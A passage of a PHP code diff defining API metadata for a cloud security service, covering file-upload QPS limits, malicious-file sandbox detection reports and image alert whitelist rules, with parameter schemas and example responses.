'创建客户端上传文件的QPS上限', + ], + 'GetFileUploadLimit' => [ + 'summary' => '获取用户设置的上传文件QPS。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'result', + 'description' => 'result', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'requestId', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1A975D03-5F49-5354-B2CB-3918D5DA431A', + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'Limit' => [ + 'description' => '设置的上传文件QPS。', + 'type' => 'string', + 'example' => '100', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1A975D03-5F49-5354-B2CB-3918D5DA431A\\",\\n \\"Data\\": {\\n \\"Limit\\": \\"100\\"\\n }\\n}","type":"json"}]', + 'title' => '获取客户端上传文件的QPS上限', + ], + 'UpdateFileUploadLimit' => [ + 'summary' => '修改客户端上传文件的QPS。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '177934', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Limit', + 'in' => 'query', + 'schema' => [ + 'description' => '设置客户端上传文件的QPS限制阈值。取值范围：100~10000。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '100', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'result', + 'description' => 'result', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'requestId', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8BF6F\\"\\n}","type":"json"}]', + 'title' => '修改客户端上传文件的QPS上限', + ], + 'GetFileDetectReport' => [ + 'summary' => '获取恶意文件的云沙箱检测的具体报告信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasNPORLE', + ], + ], + 'parameters' => [ + [ + 'name' => 'Field', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的字段。可以输入多个参数值，以英文逗号分隔。'."\n" + ."\n" + .'取值：'."\n" + ."\n" + .'- **ThreatTypes**：威胁情报事件的类型。'."\n" + ."\n" + .'- **Intelligences**：威胁情报事件。'."\n" + ."\n" + .'- **ThreatLevel**：威胁情报等级。'."\n" + ."\n" + .'- **Basic**：报告的基础信息（扫描的运行结果）。'."\n" + ."\n" + .'- **Sandbox**：云沙箱的具体检测报告。', + 'type' => 'string', + 'required' => false, + 'example' => 'Basic,,ThreatTypes,Intelligences,Sandbox', + ], + ], + [ + 'name' => 'EventId', + 'in' => 'query', + 'schema' => [ + 'description' => '检测文件所对应的事件id。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '81****', + ], + ], + [ + 'name' => 'FileHash', + 'in' => 'query', + 'schema' => [ + 'description' => '需要检测的文件hash值。', + 'type' => 'string', + 'required' => false, + 'example' => 'b63917332950e5d219d0737ffe31****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'SourceType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据源类型。取值范围：'."\n" + .'* **machine**：主机类型的告警。'."\n" + .'* **object_scan**：文件检测的告警。', + 'type' => 'string', + 'required' => false, + 'example' => 'object_scan', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'FileHash' => [ + 'description' => '文件hash值。', + 'type' => 'string', + 'example' => 'c42b5f6bde0b730ece2923266333****', + ], + 'ThreatLevel' => [ + 'description' => '威胁等级。取值：'."\n" + .'- **0**：正常'."\n" + .'- **1**：可疑 '."\n" + .'- **2**：高危。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'Sandbox' => [ + 'description' => '云沙箱的具体检测报告。', + 'type' => 'string', + 'example' => '{\'BehaviorData\': {}, \'ProcessData\': {}, \'SandboxData\': {}, \'AttackData\': [], \'NetworkData\': {}, \'SolutionData\': {}, \'FileData\': {}}', + ], + 'Basic' => [ + 'description' => '检测文件的基础信息。', + 'type' => 'string', + 'example' => ' {'."\n" + .' "sha256": "",'."\n" + .' "sha512": "",'."\n" + .' "source": "aegis",'."\n" + .' "gmt_first_submit": "",'."\n" + .' "sha1": "",'."\n" + .' "virus_result": "",'."\n" + .' "webshell_result": "",'."\n" + .' "gmt_update": "",'."\n" + .' "sandbox_result": "2",'."\n" + .' "fileSize": "363752",'."\n" + .' "virus_name": "",'."\n" + .' }', + ], + 'Filename' => [ + 'description' => '文件名称。', + 'type' => 'string', + 'example' => '挖矿程序', + ], + 'HasData' => [ + 'description' => '文件数据是否在云沙箱中存在。取值：'."\n" + .'- **true**：存在'."\n" + .'- **false**：不存在', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Intelligences' => [ + 'description' => '威胁情报事件，使用JSON数组表示。'."\n" + ."\n" + .'取值：'."\n" + ."\n\n" + .'- 威胁分类。使用数组表示，数组的元素取值包括DDoS木马、挖矿程序、网络层入侵、网络服务扫描、网络共享发现、矿池 、漏洞利用 、暗网、恶意登录、恶意下载源、中控、Web Shell 、Web攻击等。', + 'type' => 'string', + 'example' => '["挖矿程序"]', + ], + 'ThreatTypes' => [ + 'description' => '从威胁情报、安全事件分析出来的风险标签和服务器标签。使用String数组表示，每一个数组中的取值如下：'."\n" + .'- **threat_type_desc**: 威胁类型。'."\n" + .'- **last_find_time**: 最近发现时间。'."\n" + .'- **risk_type**: 表示是否是恶意标签。0表示非恶意标签，1表示恶意标签，-1表示未知。'."\n" + .'- **threat_type**: 威胁类型。使用数组表示，数组的元素取值包括网络层入侵、网络服务扫描、网络共享发现、矿池 、漏洞利用 、暗网、恶意登录、恶意下载源、中控、Web Shell 、Web攻击等。', + 'type' => 'string', + 'example' => '[{"threat_type_desc": "挖矿程序","risk_type": 1,"threat_type": ""}]', + ], + 'ShowTab' => [ + 'description' => '显示是否展示检测报告。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393XXXX', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回附加消息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"FileHash\\": \\"c42b5f6bde0b730ece2923266333****\\",\\n \\"ThreatLevel\\": 2,\\n \\"Sandbox\\": \\"{\'BehaviorData\': {}, \'ProcessData\': {}, \'SandboxData\': {}, \'AttackData\': [], \'NetworkData\': {}, \'SolutionData\': {}, \'FileData\': {}}\\",\\n \\"Basic\\": \\" {\\\\n \\\\\\"sha256\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sha512\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"source\\\\\\": \\\\\\"aegis\\\\\\",\\\\n \\\\\\"gmt_first_submit\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sha1\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"virus_result\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"webshell_result\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"gmt_update\\\\\\": \\\\\\"\\\\\\",\\\\n \\\\\\"sandbox_result\\\\\\": \\\\\\"2\\\\\\",\\\\n \\\\\\"fileSize\\\\\\": \\\\\\"363752\\\\\\",\\\\n \\\\\\"virus_name\\\\\\": \\\\\\"\\\\\\",\\\\n }\\",\\n \\"Filename\\": \\"挖矿程序\\",\\n \\"HasData\\": true,\\n \\"Intelligences\\": \\"[\\\\\\"挖矿程序\\\\\\"]\\",\\n \\"ThreatTypes\\": \\"[{\\\\\\"threat_type_desc\\\\\\": \\\\\\"挖矿程序\\\\\\",\\\\\\"risk_type\\\\\\": 1,\\\\\\"threat_type\\\\\\": \\\\\\"\\\\\\"}]\\",\\n \\"ShowTab\\": true\\n },\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393XXXX\\",\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"Success\\": true\\n}","type":"json"}]', + 'title' => '获取恶意文件的云沙箱检测报告', + ], + 'DescribeImageEventOperationPage' => [ + 'summary' => '分页查询告警处置规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195585', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'title' => '主键id', + 'description' => '告警处置规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '49616', + ], + ], + [ + 'name' => 'EventType', + 'in' => 'query', + 'schema' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'required' => false, + 'example' => 'sensitiveFile', + ], + ], + [ + 'name' => 'EventKey', + 'in' => 'query', + 'schema' => [ + 'title' => '告警项关键字', + 'description' => '告警项关键字。', + 'type' => 'string', + 'required' => false, + 'example' => 'PEM', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'title' => '告警项名称', + 'description' => '告警项名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'PEM', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '告警处置规则来源。取值：'."\n" + .'- **default**：镜像'."\n" + .'- **agentless**：无代理检测', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult>', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '告警处置规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警处置规则。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2646624', + ], + 'EventType' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'example' => 'sensitiveFile', + ], + 'OperationCode' => [ + 'title' => '操作类型', + 'description' => '操作码。取值：'."\n" + .'- **whitelist**：白名单。', + 'type' => 'string', + 'example' => 'whitelist', + ], + 'Conditions' => [ + 'title' => '规则条件', + 'description' => '规则条件。JSON格式，key取值：'."\n" + .'- **condition**：匹配条件。'."\n" + .'- **type**：匹配类型。'."\n" + .'- **value**：匹配值。', + 'type' => 'string', + 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", + ], + 'Scenarios' => [ + 'title' => '规则范围', + 'description' => '规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。', + 'type' => 'string', + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", + ], + 'EventKey' => [ + 'title' => '告警项关键字', + 'description' => '告警项关键字。', + 'type' => 'string', + 'example' => 'PEM', + ], + 'EventName' => [ + 'title' => '告警项名称', + 'description' => '告警项名称。', + 'type' => 'string', + 'example' => 'PEM', + ], + 'Note' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'xxx', + ], + 'Source' => [ + 'description' => '告警处置规则来源。取值：'."\n" + .'- **default**：镜像'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'example' => 'default', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询参数。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询结果的总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '109', + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"List\\": [\\n {\\n \\"Id\\": 2646624,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\",\\n \\"Note\\": \\"xxx\\",\\n \\"Source\\": \\"default\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 109\\n }\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\"\\n}","type":"json"}]', + 'title' => '分页查询告警处置规则列表', + ], + 'GetImageEventOperation' => [ + 'summary' => '查询告警处置规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'docRequired' => true, + 'example' => '814163', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => '主键id', + 'description' => '告警处置规则主键。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '443496', + ], + 'EventType' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'example' => 'sensitiveFile', + ], + 'OperationCode' => [ + 'title' => '操作类型', + 'description' => '操作码。取值：'."\n" + .'- **whitelist**：白名单。', + 'type' => 'string', + 'example' => 'whitelist', + ], + 'Conditions' => [ + 'title' => '规则条件', + 'description' => '规则条件。JSON格式，key取值：'."\n" + .'- **condition**：匹配条件。'."\n" + .'- **type**：匹配类型。'."\n" + .'- **value**：匹配值。', + 'type' => 'string', + 'example' => '[{\\"condition\\": \\"MD5\\", \\"type\\": \\"equals\\", \\"value\\": \\"0083a31cc0083a31ccf7c10367a6e783e\\"}]'."\n", + ], + 'Scenarios' => [ + 'title' => '规则范围', + 'description' => '规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。', + 'type' => 'string', + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}'."\n", + ], + 'EventKey' => [ + 'title' => '告警项关键字', + 'description' => '告警项关键字。', + 'type' => 'string', + 'example' => 'PEM', + ], + 'EventName' => [ + 'title' => '告警项名称', + 'description' => '告警项名称。', + 'type' => 'string', + 'example' => 'PEM', + ], + 'Source' => [ + 'description' => '告警处置规则来源。取值：'."\n" + .'- **default**：镜像'."\n" + .'- **agentless**：无代理检测', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Note' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'example' => 'No warning.', + ], + ], + ], + 'Success' => [ + 'description' => '返回的查询结果的状态。取值：'."\n" + .'- **true**：成功。'."\n" + .'- **false**：失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '5861EE3E-F0B3-48B8-A5DC-A5080BFB****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DataNotExists', + 'errorMessage' => 'data not exist', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 443496,\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"Conditions\\": \\"[{\\\\\\\\\\\\\\"condition\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"MD5\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"equals\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"0083a31cc0083a31ccf7c10367a6e783e\\\\\\\\\\\\\\"}]\\\\n\\",\\n \\"Scenarios\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\\\n\\",\\n \\"EventKey\\": \\"PEM\\",\\n \\"EventName\\": \\"PEM\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Note\\": \\"No warning.\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"5861EE3E-F0B3-48B8-A5DC-A5080BFB****\\"\\n}","type":"json"}]', + 'title' => '查询告警处置规则', + ], + 'DescribeImageEventOperationCondition' => [ + 'summary' => '查询镜像事件处置的条件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'EventType', + 'in' => 'query', + 'schema' => [ + 'title' => '告警类型', + 'description' => '告警类型。'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'required' => false, + 'example' => 'sensitiveFile', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'EventType' => [ + 'title' => '告警类型', + 'description' => '告警类型。取值：'."\n" + .'- **sensitiveFile**：敏感文件。', + 'type' => 'string', + 'example' => 'sensitiveFile', + ], + 'Operations' => [ + 'title' => '操作类型', + 'description' => '操作列表。', + 'type' => 'array', + 'items' => [ + 'description' => '操作列表。', + 'type' => 'object', + 'properties' => [ + 'OperationCode' => [ + 'title' => '操作码', + 'description' => '操作码。取值：'."\n" + .'- **whitelist**：白名单。', + 'type' => 'string', + 'example' => 'whitelist', + ], + 'OperationName' => [ + 'title' => '操作名称', + 'description' => '操作名称。', + 'type' => 'string', + 'example' => 'whitelist', + ], + 'Conditions' => [ + 'title' => '规则条件', + 'description' => '规则条件。', + 'type' => 'array', + 'items' => [ + 'description' => '规则条件。', + 'type' => 'object', + 'properties' => [ + 'ConditionKey' => [ + 'title' => '条件关键字', + 'description' => '条件关键字。取值：'."\n" + .'- **MD5**：MD5。'."\n" + .'- **PATH**：路径。', + 'type' => 'string', + 'example' => 'MD5', + ], + 'ConditionName' => [ + 'title' => '条件名称', + 'description' => '条件名称。', + 'type' => 'string', + 'example' => 'MD5', + ], + 'SupportedMisType' => [ + 'title' => '匹配类型', + 'description' => '匹配类型。', + 'type' => 'array', + 'items' => [ + 'description' => '匹配类型。取值：'."\n" + .'- **contains**：包含。'."\n" + .'- **equals**：等于。'."\n" + .'- **startWith**：前缀。'."\n" + .'- **endWith**：后缀。', + 'type' => 'string', + 'example' => 'contains', + ], + ], + ], + ], + ], + ], + ], + ], + 'Scenarios' => [ + 'title' => '规则范围', + 'description' => '规则范围。', + 'type' => 'array', + 'items' => [ + 'description' => '规则范围。JSON格式，key取值：'."\n" + .'- **type**：范围类型。'."\n" + .'- **value**：范围值。', + 'type' => 'string', + 'example' => '{\\"type\\": \\"repo\\", \\"value\\": \\"test-aaa/shenzhen-repo-01\\"}', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '调用返回码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"EventType\\": \\"sensitiveFile\\",\\n \\"Operations\\": [\\n {\\n \\"OperationCode\\": \\"whitelist\\",\\n \\"OperationName\\": \\"whitelist\\",\\n \\"Conditions\\": [\\n {\\n \\"ConditionKey\\": \\"MD5\\",\\n \\"ConditionName\\": \\"MD5\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ]\\n }\\n ],\\n \\"Scenarios\\": [\\n \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"repo\\\\\\\\\\\\\\", \\\\\\\\\\\\\\"value\\\\\\\\\\\\\\": \\\\\\\\\\\\\\"test-aaa/shenzhen-repo-01\\\\\\\\\\\\\\"}\\"\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\"\\n}","type":"json"}]', + 'title' => '查询镜像事件处置的条件', + ], + 'UpdateImageEventOperation' => [ + 'summary' => '更新告警处置规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '195583', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'title' => '主键id', + 'description' => '告警处置规则ID。'."\n" + .'> 您可调用[DescribeImageEventOperationPage](~~DescribeImageEventOperationPage~~)获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'docRequired' => true, + 'example' => '814163', + ], + ], + [ + 'name' => 'Scenarios', + 'in' => 'query', + 'schema' => [ + 'title' => '规则范围', + 'description' => 